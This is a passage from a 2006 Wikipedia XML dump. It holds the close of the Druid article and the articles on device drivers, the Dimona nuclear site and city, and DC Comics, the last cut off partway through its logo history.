:&quot;''Diabolical games and dancing or chants'' of the gentiles will be forbidden. No Christian will do them because he thus makes himself pagan. Nor is it right that ''diabolical canticles'' should proceed from a Christian mouth where the sacrament of Christ is placed, which it becomes always to praise God. Therefore, brothers, spurn all inventions of the enemy with all your heart and flee these sacrileges with all horror. Venerate no creature beyond God and his saints. Shun ''springs and arbors which they call sacred''. You are forbidden to ''make the crook which they place on the crossroads'' and wherever you find one you should burn it with fire. For you must believe that you can be saved by no other art than the invocation and cross of Christ. For how will it be if groves where these miserable men make their devotions, are felled and the wood from them given to the furnace? See how foolish man is, to ''offer honor to insensible, dead trees'' and despise the precepts of God almighty. Do not believe that ''the sky or the stars or the earth or any creature should be adored'' beyond God for he created and disposes of them all.&quot;

[[Image:Arch-Druid in his full Judicial Costume.jpg|thumb|200px|Charles Knight, &quot;Arch-Druid in his full Judicial Costume&quot; etching from  ''Old England: A Pictorial Museum'' (1845)]]
==The Druidic Revival==
In the [[18th century]], England and Wales experienced a revival of interest in the Druids, inspired by the antiquaries [[John Aubrey]], [[John Toland]] and [[William Stukeley]]. The poet [[William Blake]] was involved in the revival and may have been an Archdruid; the [[Ancient Druid Order]], which existed from 1717 until it split into two groups in 1964, never used the title &quot;Archdruid&quot; for any member but credited Blake as having been its Chosen Chief from 1799 to 1827. 

John Aubrey was the first modern writer to connect [[Stonehenge]] and other [[megalith|megalithic monuments]] with Druidry, a misconception that shaped ideas of Druidry during much of the 19th century. Some modern Druidry enthusiasts claim Aubrey was an archdruid in possession of an uninterrupted tradition of Druidic knowledge, even though Aubrey, an uninhibited collector of lore and gossip, never entered a corroborating word in his voluminous surviving notebooks. [[John Toland]] was fascinated by Aubrey's Stonehenge theories, and wrote his own book about the monument without crediting Aubrey. Toland founded the Ancient Druid Order in [[London]] in [[1717]]; interestingly enough, modern Freemasonry was founded in the same year and the same location, Covent Garden's Apple Tree Tavern.

Druids began to figure widely in popular culture with the first advent of [[Romanticism]]. [[François-René de Chateaubriand|Chateaubriand]]'s novel ''Les Martyrs'' (1809) narrated the doomed love of a Druid priestess and a Roman soldier; though Chateaubriand's theme was the triumph of Christianity over pagan Druids, the setting was to continue to bear fruit. Opera provides a barometer of well-informed popular European culture in the early 19th century: in 1817 [[Giovanni Pacini]] brought Druids to the stage in Trieste with an opera to a libretto by [[Felice Romani]] about a Druid priestess, ''La Sacerdotessa d'Irminsul''  (&quot;The Priestess of [[Irminsul]]&quot;). The most famous Druidic opera,[[Vincenzo Bellini|Bellini]]'s  ''[[Norma (opera)|Norma]]'' was a fiasco at [[La Scala]], when it premiered the day after Christmas, 1831, but in 1833 it was a hit in London. For its libretto [[Felice Romani]] reused some of the pseudo-Druidical background of ''La Sacerdotessa'' to provide color to a standard theatrical conflict of love and duty that was related to [[Medea]], as it had recently been recast for a popular Parisian play by [[Alexandre Soumet]]: the ''diva'' of ''Norma'''s hit aria, &quot;Casta Diva&quot;, is the moon goddess, being worshipped in the &quot;grove of the [[Irmin]] statue&quot;. 

In the 19th, some dubious figures arose with outlandish claims and forged documents they claimed were historical. A central figure in this Druidic reinvention, inspired by [[Henry Hurle]], is Edward Williams, better known as [[Iolo Morganwg]]. His writings, published posthumously as  ''The Iolo Manuscripts'' ([[1848]]) and  ''Barddas'' ([[1862]]), are not considered credible by  contemporary Druidic movements because it has become impossible to distinguish Williams' inventions from the genuine material. Williams claimed to have collected ancient knowledge in a &quot;[[Gorsedd]] of Bards of the Isles of Britain&quot; he had organized.  Many scholars deem part or all of Williams's work to be fabrication, and purportedly many of the documents are of his own fabrication, but a large portion of the work has indeed been collected from meso-pagan sources dating from as far back as 600 A.D.  Regardless, it has become impossible to seperate the original source material from the fabricated work, and the documents are considered irrelevant by most serious scholars.

An unfortunate result of the reinvention, which took place, ironically, just as modern archaeological and historical methods were being developed, is that it has shaped public perceptions of historical Druidry and continues to shape some modern forms of it.  The [[British Museum]] website is suitably blunt:
:&quot;Modern Druids have no direct connection to the Druids of the Iron Age. Many of our popular ideas about the Druids are based on the misunderstandings and misconceptions of scholars 200 years ago. These ideas have been superseded by later study and discoveries&quot; [http://www.thebritishmuseum.ac.uk/compass/].

== Modern Druidism  ==
{{Main|Neo-druidism}}
[[Image:Druids, in the early morning glow of the sun.jpg|thumb|200px|left|Modern druids in the early morning glow of the sun]]

Some strands of modern Druidism (a.k.a. Modern Druidry), such as the [[Order of Bards, Ovates and Druids]] (OBOD), are a continuation of the 18th-century revival and thus are built largely around writings produced in the 18th century and later. Members may be [[Neo-Pagan]], [[Christian]], or non-specifically spiritual (monotheistic or polytheistic).  

Other strands could be classified as eclectic neo-paganism, and may mix elements from other cultures such as [[Shamanism]] and Native American; they are typically more interested in modern experience than in scholarship.

A third strand, more akin to Celtic Reconstructionism, rejects the 18th-century revival entirely and tracks the latest scholarship on the relatively sparse Roman and early medieval written sources, archaeology, and comparative linguistics in an attempt to get as close as possible to Ancient Druidry.  

Modern Druidism has two strands, the cultural and the religious. Cultural Druids hold a competition of poetry, literature and music known as the [[Eisteddfod]] amongst the Celtic peoples (Welsh, Irish, Cornish, Breton, etc). 

It is not always easy to distinguish between the two strands, because religiously-oriented Druid orders may welcome members of any or no religious background while culturally-oriented orders may not inquire about the religious beliefs of members. Both types of Druid order, then, may contain both religiously-oriented and non-religiously oriented members. Many notable Britons have been initiated into Druidic orders, including [[Winston Churchill]]. Churchill's case illustrates the difficulty of distinguishing between the two strands, because historians are not even certain which order he joined, the [[Ancient Order of Druids]] or the [[Ancient and Archaeological Order of Druids]], let alone for what purpose he joined.

Fragments of a [[Celtic calendar|Druidic Lunar Calendar]] may be preserved in the [[Coligny calendar]], fragments of a calendar engraved on a bronze tablet,  discovered in 1897.

==Further reading==
*S. Piggott, 1975. ''The Druids'' (London, Thames and Hudson)
* [http://earth-sea-and-sky.tripod.com/miranda.html Miranda J. Aldhouse-Green,1997]. ''Exploring the World of the Druids'' 
(London, Thames and Hudson)  
*A.P. Fitzpatrick, 199. ''Who were the Druids?'' (London: Weidenfeld &amp; Nicholson)
* [http://www.sacred-texts.com/neu/celt/rac/index.htm The Religion of the Ancient Celts] by J. A. MacCulloch (1911)
* [http://www.sacred-texts.com/pag/idr/index.htm Irish Druids And Old Irish Religions] by James Bonwick (1894)
* [http://www.sacred-texts.com/pag/motd/motd.htm ''The Veil of Isis; Or, Mysteries of the Druids''] by W. Winwood Reade (1861)
* [http://druidwiki.org/ DruidWiki.org] The DruidWiki offers an opportunity to investigate the feasibility and practicality of providing an oral-like communication mechanism for collaborative projects within the Druid community, using Wiki technology and principles.
* [http://druidnetwork.org/ The Druid Network] The aim of The Druid Network is to be a source of information and inspiration about the modern Druid tradition, Druidic practice and the history of Druidry.

==External links==
{{commons|Category:Druidism}}
*[http://realmagick.com/articles/05/1305.html John Patrick Parle, &quot;Story of the Celts&quot;] - a simple introduction
*[http://www.lugodoc.demon.co.uk/Druids/DRUIDS.htm Lugodoc's Guide to Druids]
*[http://altreligion.about.com/library/graphics/bl_druids.htm Images of Druids]
*[http://www.delteatro.it/hdoc/result_opera.asp?idopera=1518 ''Dizionario dell'Opera''] 

[[Category:Christian history]]
[[Category:Druidry]]
[[Category:Ancient Roman enemies and allies]]
[[Category:Shamanism]]

[[ca:Druida]]
[[da:Druide]]
[[de:Druide]]
[[es:Druida]]
[[fr:Druide]]
[[gl:Druída]]
[[io:Druidismo]]
[[it:Druido]]
[[he:דרואידיות]]
[[lt:Druidai]]
[[nl:Druïde]]
[[ja:ドルイド]]
[[no:Druide]]
[[pl:Druid]]
[[pt:Druida]]
[[ru:Друиды]]
[[sv:Druid]]
[[zh:德魯伊]]</text>
    </revision>
  </page>
  <page>
    <title>Device driver</title>
    <id>9101</id>
    <revision>
      <id>41621346</id>
      <timestamp>2006-02-28T16:01:49Z</timestamp>
      <contributor>
        <username>Ok.book.guy</username>
        <id>1006217</id>
      </contributor>
      <minor />
      <comment>/* Virtual device drivers changed Host to Guest */</comment>
      <text xml:space="preserve">A '''device driver,''' often called a '''driver''' for short, is a [[computer program]] that enables another program, typically an [[operating system|operating system (OS)]], to interact with a [[computer hardware|hardware device]].

==Device driver philosophy==
The key design goal of device drivers is [[abstraction (computer science)|abstraction]]. Every model of hardware (even within the same class of device) is different. Newer models also are released by manufacturers that provide more reliable or better performance and these newer models are often controlled differently.

Computers and their operating systems cannot be expected to know how to control every device, both now and in the future. To solve this problem, OSes essentially dictate how every type of device should be controlled. The function of the device driver is then to translate these OS mandated [[function_(programming)|function calls]] into device specific calls. In theory a new device, which is controlled in a new manner, should function correctly if a suitable driver is available. This new driver will ensure that the device appears to operate as usual from the computer's point of view.

Depending on the specific computer architecture, drivers can be '''8-bit''', '''16-bit''', '''32-bit''', and more recently, '''64-bit'''. This corresponds directly to the architecture of the [[operating system]] for which those drivers were developed.  For example, in 16-bit Windows 3.11, most drivers were 16-bits, while most drivers for 32-bit Windows XP are 32-bit.  More recently, specific 64-bit [[Linux]] and Windows versions have required hardware vendors to provide newer 64-bit drivers for their devices.

==Device driver development==
Writing a device driver is considered a challenge in most cases, as it requires an in-depth understanding of how a given [[System platform|platform]] functions, both at the hardware and the software level. Because many device drivers execute in [[kernel mode]], software bugs often have much more damaging effects to the system. This is in contrast to most types of user-level software running under modern [[operating system]]s, which can be stopped without greatly affecting the rest of the system.  Even drivers executing in [[user mode]] can crash a system if the device being controlled is erroneously programmed. These factors make it more difficult and dangerous to diagnose problems.

All of this means that the [[software engineer|engineers]] most likely to write device drivers come from the companies that develop the hardware. This is because they have more complete access to information about the design of their hardware than most outsiders. Moreover, it was traditionally considered in the hardware [[manufacturer]]'s interest to guarantee that their clients would be able to use their hardware in an optimum way. However, in recent years non-vendors too have written numerous device drivers, mainly for use under [[free software|free operating systems]]. In such cases, co-operation on behalf of the vendor is still important, however, as [[reverse engineering]] is much more difficult with hardware than it is with software, meaning it may take a long time to learn to operate hardware that has an unknown interface.

==Device driver applications==
Because of the diversity of modern [[hardware]] and operating systems, many ways exist in which drivers can be used. Drivers are used for [[Interface (computer science)|interfacing]] with:
* [[Computer_printer|Printer]]s
* [[Video adapter]]s
* [[Network card]]s
* [[Sound card]]s
* Local [[computer bus | bus]]es of various sorts - in particular, for [[bus mastering]] on modern systems
* Low-[[bandwidth]] [[input/output | I/O]] buses of various sorts (for [[pointing device]]s such as [[computer mouse | mice]], [[Computer keyboard|keyboard]]s, [[Universal Serial Bus|USB]], etc.)
* [[computer storage]] device ([[hard disk]], [[CD-ROM]] and [[floppy disk]] buses ([[Advanced Technology Attachment|ATA]], [[SATA]] [[SCSI]])
* Implementing support for different [[file system]]s
* Implementing support for [[image scanner]]s and [[digital camera]]s

Common levels of abstraction for device drivers are:
* On the hardware side:
** Interfacing directly
** Using some higher-level interface (e.g. Video [[BIOS]])
** Using another lower-level device driver (e.g. file system drivers using disk drivers)
** Simulating work with hardware, while doing something entirely different
* On the software side:
** Allowing the operating system direct access to hardware resources
** Implementing only [[primitive (computer science) | primitive]]s
** Implementing an interface for non-driver software (e.g. [[TWAIN]])
** Implementing a language, sometimes quite high-level, e.g. [[PostScript]]

Choosing and installing the correct device drivers for given hardware is often a key component of computer system configuration.

==Virtual device drivers==
A particular variant of device drivers are ''virtual device drivers''. They are used in virtualization environments, for example when an [[MS-DOS]] program is run on a [[Microsoft Windows]] computer or when a guest [[operating system]] is run inside eg. [[VMware]]. Instead of enabling the guest operating system to dialog with hardware, virtual device drivers take the opposite role and emulate a piece of hardware, so that the guest operating system and its drivers running inside a [[virtual machine]] can have the illusion of accessing real hardware. Attempts by the guest operating system to access the hardware are routed to the virtual device driver in the host operating system as eg. [[function call]]s. The virtual device driver can also send simulated processor-level events like [[interrupt]]s into the virtual machine.

==Open drivers==
* Printers: [[CUPS]].
* Scanners: [[Scanner Access Now Easy|SANE]].

==See also==
*[[Class driver]]
*[[Open hardware]]
*[[Processor register|Register]]
*[[Interrupt]]
*[[Port (computing)]]

==External links==
*[http://www.driverguide.com Free drivers on DriverGuide]
*[http://driversplanet.com Links to driver files on Drivers Planet]
*[http://slashdot.org/comments.pl?sid=140815&amp;cid=11796950 A discussion of drivers' future] 
*[http://www.xml.com/ldd/chapter/book/ Linux Device Drivers]
*[http://softwaredriverdownload.com Rare and Popular Hardware Drivers Download]
*[http://www.microsoft.com/whdc Microsoft Windows Hardware and Driver Central]

[[Category:Device drivers| ]]

[[cs:Ovladač]]
[[da:Hardwaredriver]]
[[de:Gerätetreiber]]
[[es:Controlador de dispositivo]]
[[fr:Pilote (informatique)]]
[[he:מנהל התקן]]
[[lt:Draiveris]]
[[nl:Stuurprogramma]]
[[ja:デバイスドライバ]]
[[pl:Sterownik urządzenia]]
[[pt:Driver de dispositivo]]
[[ro:Driver]]
[[ru:Драйвер]]
[[sv:Drivrutin]]
[[zh:驱动程序]]</text>
    </revision>
  </page>
  <page>
    <title>Dimona</title>
    <id>9103</id>
    <revision>
      <id>39703783</id>
      <timestamp>2006-02-15T06:46:46Z</timestamp>
      <contributor>
        <ip>129.64.165.64</ip>
      </contributor>
      <comment>/* Dimona Nuclear Reactor */</comment>
      <text xml:space="preserve">'''Dimona''' is an [[Israel|Israeli]] city in the [[Negev]] desert, 36 kilometers to the south of [[Beer-Sheva]] and 35 kilometers west of the [[Dead Sea]] in the [[Southern District of Israel]].

Dimona was one among several &quot;development towns&quot; that were created in the [[1950s]] at the initiative of [[David Ben-Gurion]]. Dimona itself was conceived in [[1953]], and settled in [[1955]], mostly by new immigrants from Northern Africa, who also constructed the city's houses. When the [[Israel and weapons of mass destruction|Israeli nuclear program]] started later that decade, a location not so far from the city was chosen due to its relative isolation in the desert and availability of housing. 

In spite of a gradual decrease during the [[1980s]], the city's population began to grow once again with the beginning of the Russian immigration in the [[1990s]]. Currently, Dimona is the third largest city in the Negev, with the population of 31,200 (1995 estimate). About a third of the city's population works in industrial workplaces (chemical plants near the [[Dead Sea]], [[high-tech]] companies and [[textile]] shops), and another third in the area of services. 
Due to the introduction of new technologies, many workers have found themselves fired in the recent years, creating a total unemployment rate of about 10%. 

Dimona is the centre of the [[Black Hebrews]], a small religious community that lives according to their own special rules.

== Dimona Nuclear Reactor ==
[[Image:Kamag.jpg|thumb|199px|right|''Institute 2'', Israel Atomic Energy Commission (IAEC), Dimona, photographed by [[Mordechai Vanunu]]]]
An Israeli nuclear installation is located about ten kilometres to the south of Dimona, the Negev Nuclear Research Center. Its construction commenced in [[1958]], with [[France|French]] assistance. The official reason given by the Israeli and French governments was to build a [[nuclear reactor]] to power a &quot;desalination plant&quot;, in order to &quot;green the Negev&quot;. The purpose of Dimona is widely assumed to be the manufacturing of [[nuclear weapon]]s, and the majority of defense experts have concluded that it does in fact do that. However, the Israeli government refuses to confirm or deny this publicly, as part of a [[policy of deliberate ambiguity]].

The Dimona reactor went on-line some time between 1962 and 1964, and with the [[plutonium]] produced there, perhaps together with some [[enriched uranium]] acquired through mysterious means (see [[Plumbat Operation]]), the [[Israel Defence Forces]] most probably had their first nuclear weapons ready before the [[Six-Day War]].  Although the Israeli government has always claimed it has been used for peaceful purposes, the United States has flown over the site with [[Lockheed U-2|U-2]] aircraft to sample the air for radioactive by-products.

When the [[United States]] intelligence community discovered the purpose of Dimona in the early 1960s, it demanded that Israel agree to international inspections. Israel agreed, but on a condition that US, rather than [[IAEA]], inspectors were used, and that Israel would receive advance notice of all inspections.

Some claim that because Israel knew the schedule of the inspectors' visits, it was able to hide the alleged purpose of the site (manufacturing of nuclear weapons) from the inspectors, by installing temporary false walls and other devices before each inspection. The inspectors eventually informed the U.S. government that their inspections were useless, due to Israeli restrictions on what areas of the facility they could inspect. In [[1969]], the United States terminated the inspections.

In [[1986]], [[Mordechai Vanunu]], a former technician at Dimona, revealed to the media some evidence of Israel's nuclear program. Israeli agents kidnapped him from Italy, drugged him and transported him to Israel. An Israeli court then tried him in secret on charges of [[treason]] and [[espionage]], and sentenced him to eighteen years imprisonment. At the time of Vanunu's arrest, ''[[The Times]]'' reported that Israel had material for approximately 20 hydrogen bombs and 200 fission bombs. In [[2000]] Israel put into service 3 advanced [[Dolphin class submarine]]s built in [[Germany]], capable of launching nuclear-armed [[cruise missile]]s [http://www.fas.org/nuke/guide/israel/missile/popeye-t.htm].

In the Spring of [[2004]], Vanunu was released from prison, but denied a passport. He was re-arrested in [[November 2004]] and released within days.

Dimona's reactor was defended by batteries of [[Patriot missile]]s in anticipation of strikes from Iraq in [[2002]] to [[2003]].

Recently safety concerns about this 40-year-old reactor have been reported. In 2004 as a preventive measure Israeli authorities distributed [[iodine]] anti-radiation tablets to thousands of residents living nearby.
[http://www.abc.net.au/news/newsitems/200408/s1171510.htm]

==Sister cities==
*[[Andernach]], [[Germany]], since [[1975]]: first Israeli-German [[sister cities]]

==See also==
*[[Nuclear proliferation]]

==References==
* Avner Cohen, ''Israel and the Bomb'', University Press of Columbia (1999), ISBN 0231104839
* [[Seymour M. Hersh]], ''The Samson Option: Israel's Nuclear Arsenal and American Foreign Policy'', Random House (1991), hardcover, 354 pages, ISBN 0394570065

==External links==
* [http://www.iaec.gov.il/pages_e/english.asp Israel Atomic Energy Commission (IAEC)]
*[http://cns.miis.edu/research/wmdme/israel.htm Weapons of Mass Destruction in the Middle East]
* [http://www.fas.org/nuke/guide/israel/nuke/ FAS's page about the Israeli nuclear program]
* [http://www.globalsecurity.org/wmd/world/israel/nuke.htm History of Israeli Nuclear Program]
*[http://www.globalsecurity.org/wmd/world/israel/index.html Israel Special Weapons Guide]
* [http://www.globalsecurity.org/wmd/world/israel/doctrine.htm Independent Thinktank Analysis of Israeli Nuclear Doctrine]

[[Category:Cities in Israel]]
[[Category:Israeli nuclear development]]
[[Category:Nuclear research centers]]

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  <page>
    <title>DC Comics</title>
    <id>9105</id>
    <revision>
      <id>41917448</id>
      <timestamp>2006-03-02T16:34:56Z</timestamp>
      <contributor>
        <username>SCEhardt</username>
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      </contributor>
      <comment>replaced image</comment>
      <text xml:space="preserve">[[Image:Dc2005.JPG|right|150px|The current DC Comics logo, adopted in May 2005.]]

'''DC Comics''' is one of the largest [[United States|American]] companies in [[comic book]] and related media publishing.  Today a subsidiary of [[Time Warner]], DC is responsible for such famous characters as [[Superman]], [[Batman]], [[Wonder Woman]], and their teammates in the [[Justice League]]. For decades, DC Comics has been one of the two largest American comic book companies (the other being [[Marvel Comics]]). The initials &quot;DC&quot; are an abbreviation for ''[[Detective Comics]]'', after one of the company's flagship titles. 

Located in New York City for many years at 575 Lexington Avenue, DC Comics moved to 75 Rockefeller Plaza (which is still Time Warner corporate headquarters) and then to 666 Fifth Avenue. Relocating at 1325 Avenue of the Americas in 1992, DC took over several floors when it moved to 1700 Broadway in the mid-1990s, and ''[[MAD Magazine|Mad]]'' abandoned its 485 Madison Avenue address at that time, relocating under the DC umbrella at 1700 Broadway.

==History==

The corporation was originally three companies: '''National Allied Publications''' (founded by Major [[Malcolm Wheeler-Nicholson]] in 1934 to publish the first [[American comic book]] with solely original material rather than [[comic strip]] reprints); '''Detective Comics''' (founded in 1937 by Nicholson, [[Harry Donenfeld]] and [[Jack S. Liebowitz]]); and '''[[All-American Publications]]'''.  The first two companies merged in the 1930s to become [[National Publications|National Comics]] (later '''National Periodical Publications''') and the third shared offices until it was bought by the merged company in 1945. At this time &quot;DC&quot; was simply an informal logo regularly used on the cover; the name National Periodical Publications remained the company's official name into the 1970s.

===The Golden Age===

[[Image:Action1.JPG|thumb|left|175px|Cover of ''Action Comics #1'', which featured the debut of Superman, the first superhero.]]

Wheeler-Nicholson's company pioneered the American comic book, publishing the first such periodical consisting solely of original material rather than reprints of [[newspaper]] [[comic strips]], starting with ''[[New Fun Comics|Fun: The Big Comic Magazine]]'' #1 (Feb. 1935), called ''New Fun'' after the first issue. The evolving DC was also the first to feature [[Superhero|superheroes]], beginning with ''[[Action Comics]]'' #1 in 1938.  During this period enthusiasts call the [[Golden Age of comic books]], the company introduced such popular characters as [[Superman]], [[Batman]], and [[Wonder Woman]], and the first superhero team, the [[Justice Society of America]].  

When the superhero genre faded in the late 1940s, the company focused on other genres, such as [[science fiction]], [[Western movie|Westerns]], [[humor]] and [[romantic fiction|romance]].  They largely avoided the [[Crime fiction|crime]] and [[Horror fiction|horror]] trends of the time, thus avoiding the backlash against crime and horror comics in the 1950s.  A handful of the most popular superhero titles (most notably ''[[Action Comics]]'' and ''[[Detective Comics]]'', the medium's two longest-running titles) continued publication.

===The Silver Age===

In the mid-fifties, there came a renewed interest to explore superhero properties. Instead of creating new characters, editor [[Julius Schwartz]] decided to recreate popular older characters starting with the [[Flash (comics)|Flash]]. This heralded the beginning of what is commonly referred to as the [[Silver Age of comic books]]. The Flash's civilian identity, costume, and origin were all changed for a modern audience. The new treatment proved popular enough that it soon led to similar revamping of [[Green Lantern]], and the introduction of a new series featuring a team-up of the company's popular characters, ''[[Justice League|Justice League of America]]'' — a modern-day Justice Society. &lt;!--This sentence is unclear in context. What is it trying to say? That Superman was not revamped? Or that he was?:    On the other hand, [[Mort Weisinger]] oversaw the ''Superman'' family of titles that established many of the elements of Superman's supporting characters and villains that still influence the character to this day.--&gt;

In 1967, [[Carmine Infantino]] became the company's [[art director]]. Faced with declining sales, in part because of the growing popularity of [[Marvel Comics]], he attempted to remedy the situation with an infusion of new titles and characters, and recruited major talents such as [[Steve Ditko]] and promising newcomers such as [[Neal Adams]].

[[Image:Green_lantern_76.JPG|right|thumb|175px|''Green Lantern #76'' (April 1970), the first issue of an acclaimed run that delved into [[social commentary]] in the genre. Art by [[Neal Adams]].]]

In the late 1960s, many veteran creators petitioned DC management for health plans, pensions, and similar considerations. DC responded by firing most of the offending staff and replacing them with young people who had largely grown up with the Marvel influence in comics. Yet while the new employees strove for sophisticated storytelling and characters, they had little experience in the industry, and their work's relative lack of professionalism hampered their efforts. Some new talent, however, such as [[Dennis O'Neil]], who worked on ''[[Green Lantern]]'' and ''[[Batman]]'', became industry lights. &lt;!--What is the following sentence saying? That series folded because the creators left? Judging from interviews with Silver Age creators, they say the opposite was true -- series they loved working different sell, so they abandoned them:  Nevertheless, the period was plagued by short-lived series that started out strong, but petered out when the creators, not having strong financial reasons to stay, left their creations.--&gt;
[[Image:New_Gods_1971_1.jpg|thumb|175px|left|''New Gods'', flagship title of Jack Kirby's &quot;Fourth World&quot; mythos.]]

In addition, [[Jack Kirby]] defected from Marvel to create his most artistically ambitious creation, [[Jack Kirby's Fourth World|The Fourth World]] titles, in which Kirby attempted to create an original sophisticated sub imprint that could appeal to a loyal fan audience.  However, conflicts with management who had little faith in the concept led to the venture's premature cancellation, although the characters and concepts would become integral to the [[Multiverse (DC Comics)|DC Multiverse]].

===Late 1970s and 1980s===

The company was acquired by [[Warner Communications]] (now [[Time Warner]]) in 1976.  During this time, DC attempted to compete with Marvel by dramatically increasing its output, a move the company called the &quot;DC Explosion&quot;. This included series featuring new characters, such as ''[[Firestorm (comics)|Firestorm]]'' and ''[[Shade, the Changing Man]]'', and several non-superhero titles. This proved unsuccessful in the short term, with many of these series being abruptly cancelled in what industry watchers dubbed &quot;the [[Cancelled Comics Cavalcade|DC Implosion]]&quot;.  
[[Image:Teentitans2.JPG|160px|thumb|''The New Teen Titans'', the series credited in beginning the revitalization of DC Comics.]]

In the early 1980s, the new management of publisher [[Jenette Kahn]], vice-president [[Paul Levitz]], and managing editor [[Dick Giordano]] decided to address the problem of talent instability in their series. To that end — and following the example of [[Atlas/Seaboard Comics]] and such independent companies as [[Eclipse Comics]]  —  DC began to offer more concrete financial rewards to their talents, such as [[royalties]].  In addition, the company created the publishing concept of the [[limited series]] that allowed more flexible arrangements for storylines that could be successful without the pressure of immediately following them up on an indefinite basis.  

These policy changes immediately paid off with the success of ''[[Titans (comics)|The New Teen Titans]]'' by writer [[Marv Wolfman]] and artist [[George Pérez]]. That superteam comic earned significant sales in part due to its creative quality and the stability of the talent, who kept with the title for years.  In addition, the creative team took early advantage of the limited series option to create a [[spin off]] title, ''Tales of the New Teen Titans'', to present the origins of their original characters without having to break the narrative flow of their main series or obliging them to double their work load with another ongoing title.

This successful revitalization of a minor title led the editorship to look at doing the same to their entire line comics.  The result was the limited series ''[[Crisis on Infinite Earths]],'' which gave the company an opportunity to dismiss some of the &quot;baggage&quot; of its history, and revise major characters such as Superman and Wonder Woman. Yet DC did not abandon their history completely. In 1989, they began publication of the [[DC Archive Editions]], a series created to collect their early, rare issues into a permanent hardback format.

[[Image:Swampthingmoore21.jpg|thumb|left|175px|''Swamp Thing'' (vol. 2) #21, the issue that signaled the beginning of the comic book British Invasion.]]

Meanwhile, [[United Kingdom|British]] writer [[Alan Moore]] had re-energized the minor horror series ''[[Saga of the Swamp Thing]]'', and his highly acclaimed work sparked a comic book equivalent of rock's [[British Invasion]], in which numerous British talents, including [[Neil Gaiman]] and [[Grant Morrison]], came to work for the company.  The resulting influx of sophisticated horror and dark fantasy material led not only to DC abandoning the [[Comics Code Authority|Comics Code]] for particular titles by those talents, but also to the later establishment in 1993 of the [[Vertigo (comics)|Vertigo]] imprint for mature readers.

Acclaimed limited series such as ''[[The Dark Knight Returns]]'' by [[Frank Miller]] and Alan Moore's ''[[Watchmen]],'' also drew attention to changes at DC.  This new creative freedom and the attendant publicity allowed DC to seriously challenge the dominance of Marvel.

===1990s===

The comics industry experienced a brief boom in the early 1990s, thanks to a combination of speculative purchasing of the books as collectibles and several storylines which gained attention from the mainstream media.  DC's extended storylines in which [[death of Superman|Superman was killed]] and [[KnightSaga|Batman was crippled]], resulted in dramatically increased sales, but the increases were as temporary as the substitutes, and sales dropped off as industry sales went into a major slump.

DC's [[Piranha Press]] and other imprints in the 1990s were introduced to facilitate diversification and specialized marketing of its product line. They increased the use of nontraditional contractual arrangements, including creator-owned work and licensing material from other companies. They also increased publication of [[Trade paperback (comics)|trade paperback]]s, including both collections of serial comics and original [[graphic novel]]s.  

The [[Vertigo (comics)|Vertigo]] line was aimed at an older and more literary audience, largely free of the &quot;kid stuff&quot; stigma its main superhero line still held.  DC entered into a publishing agreement with [[Milestone Media]], which gave the company a line of comics featuring a more culturally and racially diverse range of superhero characters; although the Milestone line ceased publication, it yielded the popular animated series ''[[Static Shock]]''.  [[Paradox Press]] was established to publish material that would be considered &quot;mainstream&quot; in the book trade - including the large-format ''Big Book of...'' series, and crime fiction such as ''[[Road to Perdition]]'' - but paradoxically remained a niche in the comics industry.  DC purchased [[Wildstorm|Wildstorm Comics]] from [[Jim Lee]] and maintained it as a separate imprint with its own style and audience.  Likewise they added the Wildstorm imprint [[America's Best Comics]], created by Alan Moore, including the titles ''[[Tom Strong]]'' and ''[[Promethea]]''.

===2000s===

Comics sales stopped declining but remained weak in the early 2000s, as DC continued diversifying its publishing activities to reach new markets. In March 2003 DC Comics acquired publishing and merchandising rights to the long-running fantasy series ''[[Elfquest]]'', which had previously been self-published by its creators [[Wendy Pini|Wendy]] and [[Richard Pini]] under the [[WaRP Graphics|Warp Graphics]] banner. In 2004 it established the [[CMX (comics)|CMX]] line to reprint translated [[manga]] volumes (an already-booming market at the time), and temporarily acquired the North American publishing rights to graphic novels from European publishers [[2000 AD (comic)|2000 AD]] and [[Humanoids Publishing|Humanoids]]. It also rebranded its titles for younger children with the mascot [[Johnny DC]].

Starting in 2004, DC's began laying groundwork for a &quot;sequel&quot; to ''Crisis on Infinite Earths'', promising substantial changes to the DCU to come out of it.  In 2005 they published several limited series establishing increasing conflicts between the heroes of the DCU, which are expected to come to a climax in the limited series ''[[Infinite Crisis]]''.  At the conclusion of that series in 2006, all of DC's ongoing series will skip to &quot;one year later&quot;, showing the medium-term consequences of that crisis and continuing from there.

In 2005 DC Comics launched an &quot;All-Star&quot; line, featuring some of DC's most famous characters, written and illustrated by popular creators.  These series were intended to appeal to more casual readers, featuring familiar versions of the characters without tight continuity with the main line of books. ''All-Star Batman &amp; Robin the Boy Wonder'' was launched in July 2005, with ''All-Star Superman'' beginning in November 2005 and ''All-Star Wonder Woman'' soon to follow.

2006 has proved early to be an interesting year in DC history, with their little-known affiliate [[CMX (comics)|CMX]] picking up the popular webcomic [[Megatokyo]]'s published form. Megatokyo had previously publised volumes 1-3 of their print version with independent competitor [[Dark Horse Comics]].

==Logo history==

[[Image:DClogos.png|right|DC logos]]

DC's first logo appeared on the March 1940 issues of their titles.  The letters &quot;DC&quot; stood for Detective Comics, the name the company used at the time.  The logo was small and did not have a background.  It simply said, &quot;A DC Publication&quot;.

The November 1941 DC titles introduced an updated DC logo.  This version was almost twice the size of the first one, and also was the first version with a white background.  The name of Superman was added to &quot;A DC Publication&quot;, effectively acknowledging both Superman (the company's flagship character) and Batman (star of Detective Comics).  This logo was also the first version to occupy the top left corner of the cover, where the logo has usually resided ever since.

In November 1949, the logo was modified, incorporating the company's current name (National Comics Publications) into the logo.  This logo would also serve as the round body of Johnny DC, DC's mascot in the 1960s.

In October 1970, the circular logo was briefly retired in favor of a simple &quot;DC&quot; in a rectangle with the name of the title, or the star of the book (i.e. many issues of ''[[Action Comics]]'' said &quot;DC Superman&quot;).  An image of the lead character either appeared above or below the rectangle.  For books that did not have a single star, such as ''[[House of Mystery]]'' or ''[[Justice League|Justice League of America]]'', the title and &quot;DC&quot; appeared in a stylized logo, such as a bat for ''House of Mystery''.  This use of characters as logos helped to establish the likenesses as trademarks, and was similar to Marvel's contemporaneous use of characters as part of their cover branding.

DC's &quot;100 Page Super-Spectacular&quot; titles and later 100-page and &quot;Giant&quot; issues published from 1972 to 1974 featured a logo that was exclusive to these editions, the letters &quot;DC&quot; in a simple sans serif font, in a circle.  (A variant had the letters in a square.)  

The July 1972 DC titles featured a new circular logo.  The letters &quot;DC&quot; were rendered in a block-like font that would remain through later logo revisions until 2005.  The title of the book usually appeared inside the circle, either above or below the letters.

